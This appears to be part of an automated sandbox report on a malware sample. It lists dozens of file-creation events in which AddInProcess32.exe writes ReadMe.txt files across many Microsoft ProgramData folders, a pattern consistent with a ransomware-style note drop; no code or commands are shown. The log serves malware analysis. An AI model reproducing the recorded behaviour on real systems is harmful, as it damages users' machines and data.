                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Temp\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Settings\Accounts\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Settings\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\SmsRouter\MessageStore\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\SmsRouter\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Spectrum\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Speech_OneCore\SR\SV10-EV100\en-US-N\MV101\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Speech_OneCore\SR\SV10-EV100\en-US-N\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Speech_OneCore\SR\SV10-EV100\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Speech_OneCore\SR\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Speech_OneCore\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Storage Health\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\UEV\InboxTemplates\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\UEV\Scripts\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\UEV\Templates\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\UEV\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Vault\AC658CB4-9126-49BD-B877-31EEDAB3F204\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Vault\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\WDF\ReadMe.txtJump to behavior
